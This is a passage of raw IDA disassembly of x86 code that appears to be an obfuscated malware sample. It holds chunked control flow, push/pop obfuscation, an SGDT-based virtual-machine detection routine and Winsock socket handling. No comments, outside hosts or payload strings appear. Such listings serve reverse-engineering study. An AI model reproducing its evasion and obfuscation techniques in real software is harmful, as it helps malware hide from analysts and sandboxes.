; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACA04:				; CODE XREF: sub_9B63D8-DF0j
					; DATA XREF: .text:off_9B9082o
		lea	esi, [ebp-2120h]
		mov	ecx, 9
		mov	edi, off_9B9645
		sub	edx, edx
		repe cmpsb
		jnz	loc_9AF944
		jmp	off_9B95D3
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ACA28:				; CODE XREF: sub_9B04A8+A1Aj
					; sub_9B04A8+2191j
		mov	dword ptr [ebp-4048h], 2


loc_9ACA32:				; CODE XREF: sub_9B04A8-2EAj
		cmp	dword ptr [ebp-4048h], 7D0h
		jge	loc_9AFD43
		jmp	off_9BAB52
; END OF FUNCTION CHUNK	FOR sub_9B04A8

; =============== S U B	R O U T	I N E =======================================



sub_9ACA48	proc near		; DATA XREF: .text:off_9BA0BDo

; FUNCTION CHUNK AT 009ADC24 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009B109C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B26DF SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B5DD4 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B5E0C SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA6CC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	4044h
		pop	eax
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4058h], eax
		push	dword ptr [eax+0Ch]
		pop	esi
		push	dword ptr [eax+10h]
		pop	ebx
		mov	[ebp-4050h], ebx
		mov	dword ptr [ebp-4], 0
		lea	edi, [ebp-4044h]
		lea	eax, [ebp-4034h]
		call	sub_9AC128
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_9B36E8
		push	eax
		push	0
		push	6
		push	ebx
		push	1
		lea	eax, [ebp-4048h]
		push	eax
		lea	ecx, [ebp-4022h]
		push	ecx
		call	sub_9B2F1C
		add	esp, 30h
		push	dword ptr [ebp-4048h]
		pop	edi
		test	edi, edi
		jz	loc_9B5E0C
		jmp	off_9B8D6D
sub_9ACA48	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9ACAF8:				; CODE XREF: sub_9ACEE8+1B38j
					; sub_9ACEE8+267Cj
					; DATA XREF: ...
		sub	eax, eax
		mov	[ebp-0C0h], eax


loc_9ACB00:				; CODE XREF: sub_9ACEE8+1B32j
		and	eax, eax
		jz	loc_9AB6CC
		jmp	loc_9B5978
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B227C


loc_9ACB10:				; CODE XREF: sub_9B227C+4Cj
		mov	dword_9BCB90, esi
		mov	dword_9BCB94, ecx


loc_9ACB1C:				; CODE XREF: sub_9B227C+46j
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9BAF9B
		call	dword ptr [edx+1Ch]
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B227C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9ACB34:				; CODE XREF: sub_9ABD30+89EBj
					; DATA XREF: .text:off_9BA7FAo
		mov	eax, [esp+0Ch+arg_8]
		pop	edi
		mov	[eax], esi
		pop	esi
		mov	eax, 4
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9ACB48:				; CODE XREF: sub_9B4FD0-317Dj
					; DATA XREF: .text:off_9B8E16o
		push	dword ptr [ebp+18h]
		pop	edx
		cmp	dword_9BBF88[eax], edx
		jnz	loc_9AB8C4
		jmp	loc_9B0A98
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACB60:				; CODE XREF: sub_9B63D8-2224j
		push	0Ch
		pop	esi
		mov	[ebp-212Ch], esi


loc_9ACB69:				; CODE XREF: sub_9B63D8-4196j
		add	ebx, 0FFFFFFE9h
		cmp	esi, ebx
		jg	loc_9AC5C0
		jmp	loc_9AFAB4
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9ACB7C:				; CODE XREF: sub_9ADDA4+43j
		mov	eax, dword_9BF120[ecx*4]
		and	eax, eax
		jz	loc_9AF4F3
		jmp	loc_9AF4E8
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9ACB90:				; CODE XREF: sub_9B2E04+292Ej
		cmp	edi, 0FFFFFFFFh
		jz	loc_9B107C
		jmp	off_9B8C1C
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACBA0:				; CODE XREF: sub_9B63D8-68FCj
		lea	edx, [esi+12h]
		mov	[ebp-2164h], edx
		mov	[ebp-2130h], eax


loc_9ACBAF:				; CODE XREF: sub_9B63D8-8B1j
		mov	cl, [edx+ebp-2120h]
		mov	[ebp-2139h], cl
		inc	edx
		cmp	cl, 30h
		mov	[ebp-2164h], edx
		jl	loc_9AF944
		jmp	loc_9B1FF8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9ACBD4:				; CODE XREF: sub_9AFF64-23DFj
					; sub_9AFF64+3E8Ej
		mov	eax, 1
		mov	[ebp+var_228], eax
		jmp	loc_9B5807
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ACBE4:				; CODE XREF: sub_9B0930-25A7j
					; DATA XREF: .text:off_9B9F7Ao
		push	off_9B93D7
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+0Ch]
		mov	[ecx+24h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+0Ch]
		pop	edx
		push	dword ptr [edx+24h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AFC00
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9ACC18:				; CODE XREF: sub_9B4FD0+50Cj
		inc	eax
		jmp	loc_9B104E
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9ACC20:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:off_9B2B18o
		sub	eax, eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ACC3C:				; CODE XREF: sub_9B3864-1EB5j
		jnb	loc_9ABA28
		jmp	loc_9AD1DC
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9ACC48:				; CODE XREF: sub_9B36E8-5748j
					; DATA XREF: .text:off_9B89CAo
		push	4
		pop	edx
		call	sub_9AEE5C
		mov	edi, eax
		mov	[ebp-20h], edi
		mov	ebx, dword_9BCB98
		mov	[ebp-24h], ebx
		call	sub_9B227C
		add	eax, ebx
		cmp	eax, edi
		jb	loc_9AE975
		jmp	loc_9AE96C
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9ACC74:				; CODE XREF: sub_9AC6DC+397Ej
		push	dword_9BBD20
		pop	eax
		mov	dword_9BBD24, eax
		jmp	loc_9AF003
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACC88:				; CODE XREF: sub_9AB1A0+2E4Aj
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	eax, dword_9BEC30[eax]
		push	eax
		call	dword ptr [edx+34h]
		not	eax
		lea	ecx, [eax+edi+1]
		mov	[ebp-24h], ecx


loc_9ACCA6:				; CODE XREF: sub_9AB1A0+2A77j
					; sub_9AB1A0+2E44j ...
		inc	esi
		mov	[ebp-28h], esi
		mov	edi, [ebp-24h]
		jmp	loc_9AB014
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACCB4:				; CODE XREF: sub_9AB1A0+39C3j
					; DATA XREF: .text:off_9BA688o
		mov	eax, dword_9BEC28[esi]
		test	eax, eax
		jz	loc_9ABD29
		jmp	off_9BA07C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9ACCC8:				; CODE XREF: sub_9ABF08+4CB0j
					; DATA XREF: .text:off_9B9A50o
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9AF21B
		jmp	off_9BA3A4
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9ACCD8:				; CODE XREF: sub_9B649C-A25Aj
					; sub_9B649C-55C6j ...
		sub	eax, eax
		mov	[ebp+var_1C], eax


loc_9ACCDD:				; CODE XREF: sub_9B649C-3300j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9ACCFC:				; CODE XREF: sub_9B037C-4351j
		lea	ecx, [ebp-403Ch]
		push	ecx
		push	eax
		lea	edx, [ebp-201Ch]
		push	edx
		push	5
		pop	eax
		push	edi
		pop	esi
		call	sub_9B3F28
		mov	[ebp-4048h], eax
		jmp	loc_9AB9A8
; END OF FUNCTION CHUNK	FOR sub_9B037C

; =============== S U B	R O U T	I N E =======================================



sub_9ACD20	proc near		; CODE XREF: sub_9B03E8+2780p

var_A		= byte ptr -0Ah
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AB768 SIZE 00000002 BYTES

		push	ecx
		push	ecx
		sgdt	fword ptr [esp+8+var_A]
		pop	dword ptr [esp+8+var_A+2]
		mov	eax, [esp+4+var_4]
		and	eax, 0FF000000h
		sub	eax, 0FF000000h
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	off_9BAC75
sub_9ACD20	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9ACD44:				; CODE XREF: sub_9AEC20-34F4j
					; DATA XREF: .text:off_9B92F4o
		mov	dword_9BBD30, edi
		jmp	loc_9AE5B7
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACD50:				; CODE XREF: sub_9AB1A0+38B5j
					; DATA XREF: .text:off_9B938Co
		push	dword ptr [ebx]
		pop	eax
		push	dword ptr [ebp+8]
		pop	ecx
		mov	[ecx+eax*4], esi
		inc	dword ptr [ebx]
		jmp	loc_9B58CD
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9ACD64:				; CODE XREF: sub_9B0734-548Cj
		cmp	eax, 2746h
		jnz	loc_9B2679
		jmp	loc_9B2674
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ACD74:				; CODE XREF: sub_9B1F68+6Bj
		mov	eax, esi
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFECh
		add	eax, 28h
		mov	[ebp-40h], eax


loc_9ACD83:				; CODE XREF: sub_9B1F68-1145j
					; sub_9B1F68+2153j ...
		push	dword ptr [ebp-38h]
		pop	esi
		neg	esi
		sbb	esi, esi
		and	esi, 0FA0h
		add	esi, 3E8h
		mov	[ebp-48h], esi
		call	sub_9AB574
		mov	[ebp-60h], eax
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9B4874
		jmp	off_9BAB80
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9ACDB4:				; CODE XREF: sub_9AFB1C+2DE9j
		mov	ecx, [edi+eax]
		add	eax, 4
		mov	[esi+10h], ecx
		mov	[ebp-1Ch], eax


loc_9ACDC0:				; CODE XREF: sub_9AFB1C+2DE3j
		test	bl, 20h
		jz	loc_9B18D9
		jmp	loc_9B18CC
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-228h]
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_9ABB50


loc_9ACDE1:				; CODE XREF: sub_9ABB50+17j
					; sub_9B4FD0-5215j
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9BA623
		call	dword ptr [eax+1Ch]
		push	ebx
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_9ABB50
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9ACE18:				; CODE XREF: sub_9B3408-2BF9j
					; DATA XREF: .text:off_9BA859o
		cmp	ecx, 100000h
		ja	loc_9AB749
		jmp	off_9B94F0
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9ACE2C:				; CODE XREF: sub_9ADCEC-27FEj
		call	sub_9B227C
		sub	eax, dword_9BEBD4


loc_9ACE37:				; CODE XREF: sub_9ADCEC+E63j
		mov	[ebx+12h], eax
		push	dword_9BEBD0
		pop	eax
		cmp	eax, 0FFFFh
		jle	loc_9AB876
		jmp	off_9BA425
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ACE54:				; CODE XREF: sub_9B1F68+809j
		cmp	ebx, [ebp-40h]
		jnb	loc_9B01DE
		jmp	loc_9AFDC0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9ACE64:				; CODE XREF: sub_9B36E8-4D66j
					; DATA XREF: .text:off_9BAECDo
		or	esi, 80000000h
		mov	[ebp-1Ch], esi


loc_9ACE6D:				; CODE XREF: sub_9B36E8-7255j
					; sub_9B36E8-574Ej ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9AC73E
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9ACE7C:				; CODE XREF: sub_9AFF64+3E94j
					; DATA XREF: .text:off_9BAEA5o
		sub	eax, eax
		mov	[ebp+var_228], eax
		jmp	loc_9B5807
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9ACEAF:				; CODE XREF: sub_9B43F4-5C4Fj
					; sub_9B43F4-4A69j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	14h
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ACED0:				; CODE XREF: sub_9B3864-475Cj
					; DATA XREF: .text:off_9B9568o
		lea	eax, [ebp+var_203C]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	eax
		jmp	loc_9B3D79
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ACEE8	proc near		; DATA XREF: .text:off_9B909Do

; FUNCTION CHUNK AT 009AB6CC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AB930 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ABB6C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AC65C SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009ACAF8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AE600 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AEA14 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF3F8 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009AF51C SIZE 00000054 BYTES
; FUNCTION CHUNK AT 009AFF00 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0324 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B0F74 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B1AD3 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B2324 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B2C9C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B33AC SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B34B0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B47C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B5978 SIZE 00000026 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B984C
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0D8h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	eax
		xor	ebx, ebx
		mov	[ebp-0E0h], eax
		mov	[ebp-4], ebx
		mov	ecx, 24h
		mov	[ebp-0BCh], ebx
		mov	[ebp-0B8h], ebx
		mov	[ebp-0B0h], bl
		sub	eax, eax
		lea	edi, [ebp-0AFh]
		rep stosd
		stosw
		mov	[ebp-0B4h], ebx


loc_9ACF55:				; CODE XREF: sub_9ACEE8-1812j
					; sub_9ACEE8+171Fj ...
		mov	ecx, [ebp-0E0h]
		push	ecx
		mov	edx, 1388h
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B1AD3
		jmp	off_9B9F4C
sub_9ACEE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ACF74:				; CODE XREF: sub_9AB1A0+EA7j
					; sub_9AB1A0+A9DFj
					; DATA XREF: ...
		push	esi
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jz	loc_9AEA48
		jmp	loc_9AE758
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9ACF8C:				; CODE XREF: sub_9B5904+11j
		cmp	bl, 7Fh
		jz	loc_9B42FE
		jmp	loc_9B47E8
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9ACF9C	proc near		; CODE XREF: sub_9B43F4-4A6Ep

; FUNCTION CHUNK AT 009ADA23 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AEF7C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF134 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AFCBC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B2D30 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009B5C80 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B920F
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		cmp	esi, 300h
		jb	loc_9ADA23
		jmp	loc_9AEF7C
sub_9ACF9C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ACFE0:				; CODE XREF: sub_9B63D8-3992j
					; DATA XREF: .text:off_9B9823o
		add	esp, 4
		test	eax, eax
		jz	loc_9AF944
		jmp	off_9B8D65
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ACFFC:				; CODE XREF: sub_9B04A8+3E9Bj
					; DATA XREF: .text:off_9B88B7o
		mov	dword ptr [ebp-4044h], 0
		test	bl, 40h
		jz	loc_9AFD43
		jmp	loc_9AE460
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AD014:				; CODE XREF: sub_9B63D8-801j
		mov	[ebp-1Dh], al
		jmp	loc_9B4ED3
; END OF FUNCTION CHUNK	FOR sub_9B63D8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AD01C	proc near		; CODE XREF: sub_9AF698:loc_9AB82Cj
					; .text:009AFBF4p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009B5BE3 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8FCC
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		mov	dword_9BEBD8, eax
		push	1
		mov	ecx, 18h
		mov	edx, off_9B989B
		call	sub_9B1B20
		push	6
		mov	ecx, 2004h
		mov	edx, off_9B985C
		call	sub_9B1B20
		jmp	loc_9B5BE3
sub_9AD01C	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AD087:				; CODE XREF: sub_9B1584-31B9j
					; sub_9B1584-2751j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD0A4:				; CODE XREF: sub_9B0930+3540j
		push	off_9B94DB
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+34h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B3A18
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9AD0D8:				; CODE XREF: sub_9B2C70+9j
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		call	dword ptr [eax+4Ch]
		cmp	eax, 2733h
		jz	loc_9B01DE
		jmp	off_9B9010
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AD0F8:				; CODE XREF: sub_9AC32C+4Dj
					; DATA XREF: .text:off_9B87ACo
		or	edi, 24h


loc_9AD0FB:				; CODE XREF: sub_9AC32C+47j
					; sub_9AC32C+2C69j
		test	edi, edi
		mov	eax, edi
		jnz	loc_9AC5FB
		jmp	loc_9AC5F8
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9AD10C:				; CODE XREF: sub_9B037C+5B28j
		test	al, 40h
		jz	loc_9B5724
		jmp	loc_9B2B08
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD11C	proc near		; CODE XREF: sub_9B63D8-AE1Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 009AB910 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AD1F8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AD268 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AFA4C SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009B0B34 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B33D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009B36C0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009B5538 SIZE 0000005B BYTES

		sub	esp, 18h
		mov	eax, dword_9B8788
		xor	eax, esp
		lea	edx, [esp+18h+var_18]
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, dword_9BCB74
		push	8004667Eh
		mov	[esp+20h+var_18], 1
		push	dword ptr [eax+10h]
		pop	ecx
		push	esi
		call	dword ptr [ecx+54h]
		or	eax, eax
		jz	loc_9B5538
		jmp	loc_9AD268
sub_9AD11C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AD158:				; CODE XREF: sub_9B3408-AC9j
		push	esi
		lea	eax, [ebp-120h]
		call	sub_9B18F8
		push	dword ptr [esi+44h]
		pop	ecx
		mov	eax, [esi]
		push	eax
		lea	eax, [ebp-120h]
		mov	edx, ecx
		call	sub_9AB95C
		add	esp, 4
		mov	ecx, esi
		call	sub_9B3150
		or	eax, eax
		jz	loc_9AB749
		jmp	off_9BA164
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9AD190:				; CODE XREF: sub_9B2830-707Ej
					; sub_9B2830-1ADj ...
		sub	esi, esi
		mov	[ebp-1Ch], esi


loc_9AD195:				; CODE XREF: sub_9B2830+231Ej
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B4901
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD1A4	proc near		; CODE XREF: sub_9B4480-61F6j
					; sub_9B4480+28Bj

; FUNCTION CHUNK AT 009AEA28 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B25E5 SIZE 00000031 BYTES

		push	ebx
		mov	edx, edi
		lea	eax, [ebp-328h]
		mov	ecx, edi
		call	sub_9AB95C
		add	esp, 4
		or	esi, esi
		jnz	loc_9AEA3A
		jmp	loc_9AEA28
sub_9AD1A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD1C4:				; CODE XREF: sub_9B1A08+47E9j
		push	[ebp+var_41F0]
		pop	eax
		and	eax, eax
